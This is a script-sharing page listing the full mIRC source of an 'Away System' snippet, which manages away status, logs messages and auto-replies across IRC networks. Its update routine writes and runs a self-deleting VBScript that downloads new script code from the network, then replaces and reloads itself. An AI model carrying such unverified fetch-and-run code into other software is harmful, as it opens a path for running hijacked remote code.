Snippets
  • Uploaded By: entropy
  • Added: 1 year ago
  • Updated: 6 days ago
  • mIRC Version: 7.52+
  • Hits: 833
  • Size: 24.85KB
  • Downloads: 28
  • Review By: entropy



Away System v1.6

This snippet is fully featured and powerful.
This snippet manages your aways on all networks.
I hope you enjoy this snippet!
Screenshot...

    
  2    0  Login to Vote.


Source Code:
  1.  
  2. ; Away System v1.6 - by entropy 2020 (released 2/21/20)
  3.  
  4. ;================================================================= MENUS
  5.  
  6. menu menubar,status,channel,query {
  7. -
  8. $iif($server,Away System $sversion) { awaysys }
  9. -
  10. }
  11.  
  12. ;================================================================= MAIN EVENTS
  13.  
  14. on *:start:{
  15. if (!$isfile($qt($scriptdirawaymessages.txt))) { write -c $qt($scriptdirawaymessages.txt) }
  16. if (!$isfile($qt($scriptdirawayreasons.txt))) { write -c $qt($scriptdirawayreasons.txt) }
  17. if (!$isfile($qt($scriptdirawayverbose.txt))) { write -c $qt($scriptdirawayverbose.txt) }
  18. if (!$isfile($qt($scriptdirawaynicks.txt))) { write -c $qt($scriptdirawaynicks.txt) }
  19. unset %away_status %away_reason %away_msgs %away_gone
  20. .titlebar [HERE]
  21. }
  22. on *:exit:{ unset %away_status %away_reason %away_msgs %away_gone }
  23. on *:connect:{ .timercheckawayidle -o 0 1 checkidle }
  24. on *:disconnect:{ if ($dialog(awaysys)) { did -b awaysys 5 | did -c awaysys 5 | did -ue awaysys 4 | did -e awaysys 2 } }
  25. on *:load:{ .timercheckawayidle -o 0 1 checkidle | echomsg Welcome to $_b(Away System $sversion) - by $_b(entropy) 2020 - Script: $_b($qt($nopath($script))) has been loaded! }
  26. on *:unload:{
  27. if (%away_status) { scon -at1 !away }
  28. unset %away_*
  29. .timerupdatethis off
  30. .timercheckawayidle off
  31. if ($dialog($qt($scriptdirawaysys))) { dialog -x awaysys }
  32. if ($isfile($qt($scriptdirawaymessages.txt))) { .remove $qt($scriptdirawaymessages.txt) }
  33. if ($isfile($qt($scriptdirawayreasons.txt))) { .remove $qt($scriptdirawayreasons.txt) }
  34. if ($isfile($qt($scriptdirawayverbose.txt))) { .remove $qt($scriptdirawayverbose.txt) }
  35. if ($isfile($qt($scriptdirawaynicks.txt))) { .remove $qt($scriptdirawaynicks.txt) }
  36. echomsg Script: $_b($qt($nopath($script))) has been unloaded! Thanks for using this script!
  37. }
  38.  
  39. ;================================================================= MAIN ALIASES
  40.  
  41. alias -l awaysys { dialog $iif($dialog(awaysys),-x,-m) awaysys awaysys }
  42. alias -l echomsg { echo $iif($color(back) == 0 || $color(back) == 36,02,11) -tag * [AWAY] $1- }
  43. alias -l _b { return $+($chr(2),$1-,$chr(2)) }
  44. alias -l _f { return $remove($replace($duration($calc($ctime + 1 - %away_gone)),wks,w,wk,w,days,d,day,d,hrs,h,hr,h,mins,m,min,m,secs,s,sec,s),$chr(32)) }
  45. alias -l _c { return $chr(9679) }
  46. alias -l updatetitle { if ($dialog(awaysys)) { dialog -t awaysys Away System $sversion - $iif(%away_status,[AWAY] - Gone: $_f,[HERE]) } | titlebar $iif(%away_status,[AWAY] - Gone: $_f,[HERE]) }
  47. alias -l isreason { var %a = 1, %b | while ($read(awayreasons.txt,%a)) { %b = $v1 | if (%b == $1-) { return $true } | inc %a } | return $false }
  48. alias -l all { if (!$dialog(awaysys)) { return } | did $iif($1 == e,-e,-b) awaysys 1,2,3,6,7,8,10,11,12,16,17,18,19,20,21,24,25,27,28,29 }
  49. alias -l smart { var %a = 1, %b, %c = brb bbl afk bbiaf bbiab bbs | while ($gettok(%c,%a,32)) { %b = $v1 | if ($+(%b,*) iswm $1) { return $true } | inc %a } | return $false }
  50. alias -l sversion { return v1.6 }
  51. alias -l syear { return 2020 }
  52. alias -l sauthor { return entropy }
  53.  
  54. alias -l verbose {
  55. if (%away_reason && %away_verbose == on) {
  56. if (%away_method == message) { var %method = message }
  57. else { var %method = action }
  58. var %a = 1, %b
  59. while ($scon(%a)) {
  60. scid $v1
  61. if ($read(awayverbose.txt,wn,$network *)) {
  62. var %x = 1, %y, %l = $gettok($v1,2-,32)
  63. if (%l == all) {
  64. while ($chan(%x)) {
  65. %y = $v1
  66. $+(.timerawayverbose,$network,%y) 1 1 $iif(%method == message,msg,describe) $unsafe( %y ) $unsafe( $1- )
  67. inc %x
  68. }
  69. }
  70. else {
  71. var %x = 1, %y
  72. while ($gettok(%l,%x,32)) {
  73. %y = $v1
  74. if (%y ischan) { $+(.timerawayverbose,$network,%y) 1 1 $iif(%method == message,msg,describe) $unsafe( %y ) $unsafe( $1- ) }
  75. inc %x
  76. }
  77. }
  78. }
  79. inc %a
  80. }
  81. scid -r
  82. if ($read(awayverbose.txt,wn,all *)) {
  83. var %c = $gettok($v1,2-,32)
  84. if (%c == all) {
  85. var %x = 1, %y
  86. while ($scon(%x)) {
  87. %y = $v1
  88. scid %y
  89. var %o = 1, %n
  90. while ($chan(%o)) {
  91. %n = $v1
  92. $+(.timerawayverbose,$network,%n) 1 1 $iif(%method == message,msg,describe) $unsafe( %n ) $unsafe( $1- )
  93. inc %o
  94. }
  95. inc %x
  96. }
  97. scid -r
  98. }
  99. else {
  100. var %x = 1, %y
  101. while ($scon(%x)) {
  102. %y = $v1
  103. scid %y
  104. var %a = 1, %n
  105. while ($gettok(%c,%a,32)) {
  106. %n = $v1
  107. if (%n ischan) { $+(.timerawayverbose,$network,%n) 1 1 $iif(%method == message,msg,describe) $unsafe( %n ) $unsafe( $1- ) }
  108. inc %a
  109. }
  110. inc %x
  111. }
  112. scid -r
  113. }
  114. }
  115. }
  116. }
  117.  
  118. alias -l setnick {
  119. if (%away_reason && %away_nicks == on) {
  120. var %a = 1, %b
  121. while ($scon(%a)) {
  122. scid $v1
  123. if ($read(awaynicks.txt,wn,$network *)) {
  124. var %l = $gettok($v1,2-,32)
  125. if ($numtok(%l,32) == 2) { $+(.timerawaynick,$network) -om 1 500 nick $iif($1 == main,$gettok(%l,1,32),$gettok(%l,2,32)) }
  126. }
  127. inc %a
  128. }
  129. scid -r
  130. }
  131. }
  132.  
  133. alias -l undo {
  134. if ($dialog(awaysys)) {
  135. if (!%away_status) { all e | did -b awaysys 5 | did -c awaysys 5 | did -ue awaysys 4 }
  136. else { all b | did -b awaysys 4 | did -c awaysys 4 | did -ue awaysys 5 }
  137. }
  138. echomsg Away Flood Protection has expired.
  139. }
  140.  
  141. alias -l gettime {
  142. var %a = 1, %b, %c = $replace($1,w,$+(w,$chr(1)),d,$+(d,$chr(1)),h,$+(h,$chr(1)),m,$+(m,$chr(1)),s,$+(s,$chr(1))), %secs = 0
  143. while ($gettok(%c,%a,1)) {
  144. %b = $v1
  145. if (w isin %b) { inc %secs $calc($remove(%b,w) * 60 * 60 * 24 * 7) }
  146. if (d isin %b) { inc %secs $calc($remove(%b,d) * 60 * 60 * 24) }
  147. if (h isin %b) { inc %secs $calc($remove(%b,h) * 60 * 60) }
  148. if (m isin %b) { inc %secs $calc($remove(%b,m) * 60) }
  149. if (s isin %b) { inc %secs $remove(%b,s) }
  150. inc %a
  151. }
  152. if (%secs == 0) { return $1 }
  153. else { return %secs }
  154. }
  155.  
  156. alias -l checkidle {
  157. var %a = $gettime(%away_idle)
  158. if (!%away_status && %a != 0 && $server) {
  159. if ($idle >= %a) {
  160. away $iif(%away_idle isnum, $remove($replace($duration(%away_idle),wks,w,wk,w,days,d,day,d,hrs,h,hr,h,mins,m,min,m,secs,s,sec,s),$chr(32)),%away_idle) idle
  161. if ($dialog(awaysys)) {
  162. did -c awaysys 4
  163. did -b awaysys 4
  164. did -ue awaysys 5
  165. var %a = 1, %b, %found = no, %line
  166. while ($read(awayreasons.txt,%a)) {
  167. %b = $v1
  168. if (%b == %away_reason) { %found = yes | %line = %a | break }
  169. inc %a
  170. }
  171. if (%found == no) { did -ac awaysys 2 %away_reason }
  172. else { did -c awaysys 2 %line }
  173. did -b awaysys 2
  174. }
  175. }
  176. }
  177. }
  178.  
  179. alias away {
  180. if (!$server) { echomsg You are not connected to any server! }
  181. elseif ($timer(awayflood)) { echomsg You must wait $_b($+($timer(awayflood).secs,s)) to go away again! | did -b awaysys 4,5 }
  182. elseif (!$1) {
  183. if (%away_status == away) {
  184. if (%away_wait) {
  185. if ($dialog(awaysys)) {
  186. did -ue awaysys 5
  187. did -b awaysys 4
  188. did -c awaysys 4
  189. }
  190. noop $input(You recently used this command. Please wait $var(%away_wait,1).secs seconds and try again.,12,Prompt)
  191. return
  192. }
  193. scon -at1 !away
  194. updatetitle
  195. if ($dialog(awaysys)) {
  196. dialog -t awaysys Away System $sversion - [HERE]
  197. all e
  198. did -b awaysys 5
  199. did -c awaysys 5
  200. did -ue awaysys 4
  201. did -u awaysys 2
  202. }
  203. titlebar [HERE]
  204. .timerupdatethis off
  205. scon -at1 .resetidle
  206. set -u10 %away_wait $ctime
  207. }
  208. else { echomsg You are not away! }
  209. }
  210. else {
  211. if (!%away_status) {
  212. if (%away_wait) {
  213. if ($dialog(awaysys)) {
  214. did -ue awaysys 4
  215. did -b awaysys 5
  216. did -c awaysys 5
  217. }
  218. noop $input(You recently used this command. Please wait $var(%away_wait,1).secs seconds and try again.,12,Prompt)
  219. return
  220. }
  221.  
  222. scon -at1 !away $strip($1-)
  223. %away_status = away
  224. %away_reason = $strip($1-)
  225. %away_msgs = 0
  226.  
  227. var %a = 1, %b, %found = no, %line
  228. if ($dialog(awaysys)) {
  229. while ($did(awaysys,2,%a)) {
  230. %b = $v1
  231. if (%b == $1-) { %found = yes | %line = %a | break }
  232. inc %a
  233. }
  234. }
  235.  
  236. if (%found == no) { if ($dialog(awaysys)) { did -ac awaysys 2 $strip($1-) } | if (!$isreason($strip($1-))) { write awayreasons.txt $strip($1-) } }
  237. elseif ($dialog(awaysys)) { did -c awaysys 2 %line }
  238.  
  239. if ($dialog(awaysys) && !$did(awaysys,2)) { did -c awaysys 2 No reason }
  240. updatetitle
  241. .timerupdatethis -o 0 1 updatetitle
  242. if ($dialog(awaysys)) {
  243. all b
  244. did -c awaysys 4
  245. did -ue awaysys 5
  246. }
  247. set -u10 %away_wait $ctime
  248. }
  249. else { echomsg You are already away! }
  250. }
  251. }
  252.  
  253. ;================================================================= ON INPUT
  254.  
  255. on *:input:*:{
  256. if (/* !iswm $1 && $server && $active != Status Window) {
  257. if ($query($active) || $chan($active)) {
  258. scon -at1 .resetidle
  259. if (%away_status && %away_cancel == yes) { unset %away_wait | away }
  260. elseif (!%away_status && $smart($strip($1)) && %away_smart == on) { away $strip($1-) }
  261. }
  262. }
  263. }
  264.  
  265. ;================================================================= DIALOG
  266.  
  267. dialog awaysys {
  268. title "Away System"
  269. size -1 -1 566 290
  270. option pixels notheme
  271. check "Away", 4, 10 256 78 25, push
  272. check "Back", 5, 88 256 78 25, push
  273. button "OK", 9, 483 256 75 25, ok
  274. button "Unload", 13, 405 256 78 25
  275. tab "Main", 14, 10 9 548 241
  276. text "Away Reason:", 1, 23 44 73 16, tab 14
  277. combo 2, 100 42 391 156, tab 14 sort size edit drop
  278. text "Messages:", 7, 23 68 50 16, tab 14
  279. list 8, 22 84 528 131, tab 14 size extsel hsbar vsbar
  280. button "Delete", 10, 491 216 57 20, tab 14
  281. button "Clear", 17, 490 42 57 19, tab 14
  282. tab "Options", 15
  283. text "Idle Away:", 11, 19 44 57 16, tab 15 right
  284. edit "", 6, 79 40 61 23, tab 15
  285. check "Cancel away on activity", 12, 210 41 136 20, tab 15
  286. check "Away Verbose", 3, 21 65 93 20, tab 15
  287. edit "", 16, 20 84 185 151, tab 15 multi return autohs autovs hsbar vsbar
  288. check "Away Nicknames", 18, 210 65 102 20, tab 15
  289. edit "", 19, 210 84 180 150, tab 15 multi return autohs autovs hsbar vsbar
  290. check "Smart Away", 21, 396 41 82 20, tab 15
  291. text "Verbose Method:", 20, 396 68 120 16, tab 15
  292. radio "Action", 24, 395 84 55 20, tab 15
  293. radio "Message", 25, 454 84 64 20, tab 15
  294. check "Away Notices", 27, 396 108 87 20, tab 15
  295. edit "", 29, 395 149 152 41, tab 15 multi hsbar
  296. text "Away Notice Message:", 28, 396 133 120 16, tab 15
  297. tab "Help", 22
  298. edit "", 23, 18 42 531 195, tab 22 read multi return autovs vsbar
  299. button "Update", 26, 327 256 78 25
  300. }
  301.  
  302. ;================================================================= DIALOG EVENTS
  303.  
  304. on *:dialog:awaysys:init:0:{
  305. if (%away_text) { did -ra awaysys 29 $v1 }
  306.  
  307. if (%away_notices == yes) { did -c awaysys 27 }
  308.  
  309. if (%away_method == message) { did -c awaysys 25 }
  310. else { did -c awaysys 24 }
  311.  
  312. if (%away_smart == on) { did -c awaysys 21 }
  313. updatetitle
  314. var %a = 1, %b
  315. while ($read(awaymessages.txt,%a)) { did -za awaysys 8 $v1 | inc %a }
  316. if (%away_statuts == away) { did -c awaysys 6 | did -b awaysys 6 }
  317. else { did -c awaysys 5 | did -b awaysys 5 }
  318. var %a = 1, %b
  319. while ($read(awayreasons.txt,%a)) {
  320. %b = $v1
  321. did -a awaysys 2 %b
  322. inc %a
  323. }
  324. if (%away_status) {
  325. var %a = 1, %b, %c = %away_reason
  326. while ($did(2,%a).text) {
  327. %b = $v1
  328. if (%b == %c) { did -c awaysys 2 %a | break }
  329. inc %a
  330. }
  331. did -cb awaysys 4
  332. did -ue awaysys 5
  333. all b
  334. }
  335. else { did -e awaysys 6,7,8,10,11,12 }
  336. did -ra awaysys 6 $iif(%away_idle,$v1,0)
  337. if (%away_cancel) { did -c awaysys 12 }
  338. if ($timer(awayflood) && !%away_status) {
  339. all b
  340. did -c awaysys 5
  341. did -u awaysys 4
  342. }
  343. if (%away_verbose == on) { did -c awaysys 3 }
  344. if ($read(awayverbose.txt,1)) { loadbuf -o awaysys 16 awayverbose.txt }
  345.  
  346. if (%away_nicks == on) { did -c awaysys 18 }
  347. if ($read(awaynicks.txt,1)) { loadbuf -o awaysys 19 awaynicks.txt }
  348.  
  349. if (%away_tab) { .timer -m 1 10 did -c awaysys $v1 }
  350.  
  351. did -a awaysys 23 ===========================[ NOTICE ]============================= $+ $crlf $+ $crlf
  352. did -a awaysys 23 Please note that an away message/nick change on away is frowned upon by a lot of people. You could get banned by using these on some networks/channels. Use at your OWN RISK! $crlf $+ $crlf
  353. did -a awaysys 23 ==========================[ IDLE AWAY ]=========================== $+ $crlf $+ $crlf
  354. did -a awaysys 23 Idle Away: "0" to disable going away on idle. Type: "1800" for 30mins (1800 seconds). Type: "1h30m23s" for (5423 seconds). $crlf $+ $crlf
  355. did -a awaysys 23 =========================[ AWAY VERBOSE ]========================== $+ $crlf $+ $crlf
  356. did -a awaysys 23 Away Verbose: "Network #chan1 #chan2 #chan3" To advertise your away messages to this network/chans. $crlf $+ $crlf
  357. did -a awaysys 23 Example Verbose: "mIRCScripts #chat #opers" To advertise your away messages to network "mIRCScripts" and channels "#chat #opers". $crlf $+ $crlf
  358. did -a awaysys 23 Example Verbose: "UnderNet all". Will advertise your away messages on all channels on this particular network. $crlf $+ $crlf
  359. did -a awaysys 23 Example Verbose: "all #chan1 #chan2 #chan3". Will advertise your away messages on all networks on the channels specified. $crlf $+ $crlf
  360. did -a awaysys 23 Example Verbose: "all all". Will advertise your away messages on all networks and on all channels. $crlf $+ $crlf
  361. did -a awaysys 23 =========================[ CANCEL AWAY ]========================== $+ $crlf $+ $crlf
  362. did -a awaysys 23 Cancel away on activity - Anything you type, that is not a command and being away, will make you return from away. $crlf $+ $crlf
  363. did -a awaysys 23 ========================[ AWAY NICKNAMES ]========================= $+ $crlf $+ $crlf
  364. did -a awaysys 23 Away Nicknames: "Network <mainnick> <awaynick>" - to change nicknames when going away/coming back on these networks. $crlf $+ $crlf
  365. did -a awaysys 23 Example Nicknames: "mIRCScripts entropy entropy[a]". You cannot use "all" for away nicknames. $crlf $+ $crlf
  366. did -a awaysys 23 =========================[ SMART AWAY ]=========================== $+ $crlf $+ $crlf
  367. did -a awaysys 23 Smart Away - puts you as away when you type one of the following: "brb bbl afk bbiaf bbiab bbs" $crlf $+ $crlf
  368. did -a awaysys 23 ========================[ VERBOSE METHOD ]========================= $+ $crlf $+ $crlf
  369. did -a awaysys 23 Verbose Method - Uses either "action/message" for displaying away messages. $crlf $+ $crlf
  370. did -a awaysys 23 =========================[ AWAY NOTICES ]========================== $+ $crlf $+ $crlf
  371. did -a awaysys 23 Away Notices - sends a notice to all nicks that "highlight/PM/ctcp" you. $crlf $+ $crlf
  372. did -a awaysys 23 =======================[ AWAY NOTICE MESSAGE ]====================== $+ $crlf $+ $crlf
  373. did -a awaysys 23 Away Notice Message - If "Away Notices" is ticked, you will send a custom message to everyone who "highlights/PM/ctcp" you. $crlf $+ $crlf
  374. did -a awaysys 23 ===========================[ EOF ]===============================
  375. }
  376. on *:dialog:awaysys:sclick:10:{
  377. if (!$did(8,1).sel && $did(8).lines) { if ($input(Are you sure you want to delete all messages?,8,Delete)) { write -c awaymessages.txt | did -rz awaysys 8 } }
  378. else { var %a = 1 | while ($did(8,1).sel) { write $+(-dl,$did(8,1).sel) awaymessages.txt | did -dz awaysys 8 $did(8,1).sel | inc %a } }
  379. }
  380. on *:dialog:awaysys:sclick:21:{ %away_smart = $iif($did(21).state == 1,on,off) }
  381. on *:dialog:awaysys:sclick:14,15,22:{ %away_tab = $did }
  382. on *:dialog:awaysys:sclick:4:{ did -b awaysys 4 | did -c awaysys 4 | did -ue awaysys 5 | away $iif($did(2),$v1,No reason) }
  383. on *:dialog:awaysys:sclick:5:{ did -b awaysys 5 | did -c awaysys 5 | did -ue awaysys 4 | away }
  384. on *:dialog:awaysys:sclick:12:{ %away_cancel = $iif($did(12).state == 1,yes) }
  385. on *:dialog:awaysys:edit:6:{ %away_idle = $iif($did(6),$v1,0) | scon -at1 .resetidle }
  386. on *:dialog:awaysys:sclick:13:{ if ($input(Are you sure you want to unload this script?,8,Confirm)) { .unload -rs $qt($script) } }
  387. on *:dialog:awaysys:edit:16:{ write -c awayverbose.txt | var %a = 1, %b, %to = $did(16).lines | while (%a <= %to) { %b = $did(16,%a).text | write awayverbose.txt $iif(%b,$v1,$crlf) | inc %a } | var %m = $read(awayverbose.txt,$lines(awayverbose.txt)) | if (!%m) { write $+(-dl,$lines(awayverbose.txt)) awayverbose.txt } }
  388. on *:dialog:awaysys:sclick:3:{ if ($did(3).state == 1) { %away_verbose = on } | else { %away_verbose = off } }
  389. on *:dialog:awaysys:sclick:18:{ if ($did(18).state == 1) { %away_nicks = on } | else { %away_nicks = off } }
  390. on *:dialog:awaysys:edit:19:{ write -c awaynicks.txt | var %a = 1, %b, %to = $did(19).lines | while (%a <= %to) { %b = $did(19,%a).text | write awaynicks.txt $iif(%b,$v1,$crlf) | inc %a } | var %m = $read(awaynicks.txt,$lines(awaynicks.txt)) | if (!%m) { write $+(-dl,$lines(awaynicks.txt)) awaynicks.txt } }
  391. on *:dialog:awaysys:sclick:17:{ if ($did(2).lines && $input(Are you sure you want to delete all away reasons?,8,Delete)) { write -c awayreasons.txt | did -r awaysys 2 } }
  392. on *:dialog:awaysys:sclick:24:{ %away_method = action }
  393. on *:dialog:awaysys:sclick:25:{ %away_method = message }
  394. on *:dialog:awaysys:sclick:26:{ checkit }
  395. on *:dialog:awaysys:sclick:27:{ %away_notices = $iif($did(27).state == 1,yes,no) }
  396. on *:dialog:awaysys:edit:29:{ %away_text = $did(29) }
  397.  
  398. ;================================================================= ON TEXT EVENTS
  399.  
  400. on *:open:?:*:{
  401. if (%away_status == away && %away_notices == yes) {
  402. .timernoticenick -o 1 1 .notice $nick I am currently away: $_b($qt(%away_reason)) - Gone: $_b($_f) $iif(%away_text,- $v1)
  403. if ($dialog(awaysys)) { did -az awaysys 8 %m }
  404. }
  405. }
  406. on *:text:*:?:{
  407. if (%away_status == away) {
  408. var %m = $+([,$adate,]) $timestamp * $+([,$network,/PM]) $+(<,$nick,>) $strip($1-)
  409. write awaymessages.txt %m
  410. inc %away_msgs
  411. if ($dialog(awaysys)) { did -az awaysys 8 %m }
  412. }
  413. }
  414. on *:text:*:#:{
  415. if ($istok($remove($strip($1-),~,&,@,%,+,!,?,$chr(44),.,:),$me,32) && %away_status == away) {
  416. if (%away_notices == yes) { $+(.timernoticenick,$nick) -o 1 1 .notice $nick I am currently away: $_b($qt(%away_reason)) - Gone: $_b($_f) $iif(%away_text,- $v1) }
  417. var %m = $+([,$adate,]) $timestamp * $+([,$network,/,#,]) $+(<,$nick,>) $strip($1-)
  418. write awaymessages.txt %m
  419. inc %away_msgs
  420. if ($dialog(awaysys)) { did -az awaysys 8 %m }
  421. }
  422. }
  423.  
  424. ;================================================================= CTCP VERSION
  425.  
  426. ctcp *:*:?:{
  427. if ($1 == version) { .ctcpreply $nick VERSION Away System $sversion (https://mircscripts.net/fk1IK) - by $sauthor $syear }
  428. if (%away_status == away) {
  429. if (%away_notices == yes) { .timernoticenick -o 1 1 .notice $nick I am currently away: $_b($qt(%away_reason)) - Gone: $_b($_f) $iif(%away_text,- $v1) }
  430. var %m = $+([,$adate,]) $timestamp * $+([,$network,/CTCP,]) $+(<,$nick,>) $strip($1-)
  431. write awaymessages.txt %m
  432. inc %away_msgs
  433. if ($dialog(awaysys)) { did -az awaysys 8 %m }
  434. }
  435. }
  436.  
  437. ;================================================================= RAWS
  438.  
  439. raw 429:*:{
  440. .timerawayflood -o 1 30 undo
  441. .timerfloodactivated -o 1 1 echomsg Too many aways - Flood Protection activated (expires: 30secs)
  442. unset %away_status %away_reason %away_gone
  443. .timerupdatethis off
  444. titlebar [HERE]
  445. if ($dialog(awaysys)) {
  446. dialog -t awaysys Away System $sversion - [HERE]
  447. all b
  448. did -c awaysys 5
  449. did -u awaysys 4
  450. did -u awaysys 2
  451. }
  452. halt
  453. }
  454.  
  455. raw 305:*:{
  456. if (%away_reason) {
  457. .timerbackfromaway -o 1 1 echomsg You are back from: $_b($qt(%away_reason)) - Left: $_b($asctime(%away_gone,$remove($timestampfmt,[,]))) - Gone: $_b($_f) $iif(%away_msgs,- Messages: $_b(%away_msgs))
  458. scon -at1 .resetidle
  459. verbose $iif(%away_method == message,I am back from:,is back from:) $_b($qt(%away_reason)) - Gone: $_b($_f)
  460. setnick main
  461. unset %away_msgs %away_status %away_reason %away_gone
  462. }
  463. halt
  464. }
  465. raw 306:*:{
  466. if (%away_reason) {
  467. %away_gone = $calc($ctime + 1)
  468. .timerawayit -o 1 1 echomsg You are now away: $_b($qt(%away_reason)) - Left: $_b($asctime(%away_gone,$remove($timestampfmt,[,])))
  469. verbose $iif(%away_method == message,I am now away:,is now away:) $_b($qt(%away_reason))
  470. setnick away
  471. }
  472. halt
  473. }
  474.  
  475. ;================================================================= CHECK FOR UPDATES
  476.  
  477. alias -l checkit {
  478. sockclose checkit
  479. sockopen -e46 checkit mircscripts.net 443
  480. }
  481. on *:sockopen:checkit:{
  482. if ($sockerr) { return }
  483. var %a = sockwrite -n $sockname
  484. %a GET https://mircscripts.net/version.php?id=fk1IK HTTP/1.1
  485. %a Host: mircscripts.net
  486. %a User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
  487. %a Accept-Language: en-US
  488. %a Content-Type: charset=utf-8
  489. %a $str($crlf,2)
  490. }
  491. on *:sockread:checkit:{
  492. if ($sockerr) { return }
  493. sockread -f &a
  494. .timer -om 1 10 checkfile $remove($gettok($bvar(&a,1-).text,-1,32),v,$crlf) $remove($sversion,v)
  495. sockclose $sockname
  496. }
  497. alias -l checkfile {
  498. if ($1 > $2) {
  499. set -u10 %away_update $1
  500. if ($input(New Version: $+(v,$1) available! Update?,8,Update)) { update }
  501. }
  502. else { noop $input(Your script is up to date.,12,Update) }
  503. }
  504.  
  505. ;================================================================= UPDATE
  506.  
  507. alias -l update {
  508. write -c $qt($mircdiraway.txt)
  509. download $qt(noop) https://mircscripts.net/raw.php?id=fk1IK $qt($mircdiraway.txt)
  510. }
  511. alias -l updateit {
  512. if ($isfile($qt($script))) { .remove $qt($script) }
  513. .rename $qt($mircdiraway.txt) $qt($script)
  514. echomsg Welcome to $_b(Away System %away_update) $+ ! File: $_b($qt($nopath($script))) has been reloaded!
  515. if ($dialog(awaysys)) { dialog -x awaysys }
  516. .timer -om 1 10 dialog -m awaysys awaysys
  517. .remove $qt($mircdiraway.txt)
  518. .reload -rs $qt($script)
  519. }
  520.  
  521. ;================================================================= DOWNLOADER
  522.  
  523. ; Original code: http://hawkee.com/snippet/9318/
  524. ; Example Usage: //download $qt(echo -a) https://adiirc.com/AdiIRC64.3.7.exe $qt($mircdir $+ adiirc.exe)
  525.  
  526. alias -l download {
  527. if ($isid) || (!$1) || (!$2) || (!$3) { return }
  528. if ($1 == -c) {
  529. var %callback = $gettok($1-,2,34)
  530. var %url = $gettok($gettok($1-,3,34),1,32)
  531. var %file = $gettok($1-,4,34)
  532. var %com = $gettok($gettok($1-,5,34),1,32)
  533. var %r = $iif($comerr,1,$com(%com).result)
  534. if ($com(%com)) { .comclose %com }
  535. if (%r == -1) { %callback 1 S_OK %url $qt(%file) }
  536. }
  537. elseif ($1 !== -c) {
  538. var %callback = $gettok($1-,1,34)
  539. var %url = $gettok($gettok($1-,2,34),1,32)
  540. var %file = $gettok($1-,3-,34)
  541. var %com = download $+ $rand(1,1000000000) $+ .vbs
  542. var %s = $mircdir $+ %com
  543. var %n = $left(%com,-4)
  544. .fopen -ox %n $qt(%s)
  545. .fwrite -n %n On Error Resume Next
  546. .fwrite -n %n Set args = WScript.Arguments
  547. .fwrite -n %n Url = $qt(%url)
  548. .fwrite -n %n Dim xHttp: Set xHttp = CreateObject("MSXML2.SERVERXMLHTTP.6.0")
  549. .fwrite -n %n Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
  550. .fwrite -n %n xHttp.Open "GET", Url, False
  551. .fwrite -n %n xHttp.Send
  552. .fwrite -n %n with bStrm
  553. .fwrite -n %n .Type = 1
  554. .fwrite -n %n .Mode = 3
  555. .fwrite -n %n .Open
  556. .fwrite -n %n .Write xHttp.ResponseBody
  557. .fwrite -n %n .SavetoFile $qt(%file) $+ , 2
  558. .fwrite -n %n .Close
  559. .fwrite -n %n End with
  560. .fwrite -n %n Err.Clear
  561. .fwrite -n %n Set oFso = CreateObject("Scripting.FileSystemObject") : oFso.DeleteFile WScript.ScriptFullName, True
  562. .fwrite -n %n WScript.Quit(-1)
  563. .fclose %n
  564. .comopen %com WScript.Shell
  565. if ($lines(%s) !== 18 || $comerr || !$comcall(%com,download -c $qt(%callback) %url $qt(%file),run,1,bstr*,$qt(%s),uint,1,bool,true)) { goto error }
  566. return
  567. }
  568. :error
  569. if ($error) { reseterror }
  570. if ($com(%com)) { .comclose %com }
  571. updateit
  572. }
  573.  
  574. ;================================================================= EOF
  575.  


Comments (1)
February 17th, 2020 - By: westor
Admin
I recommend to add credits when you include an extra code in your code that has been created from an other coder.

Login to Comment.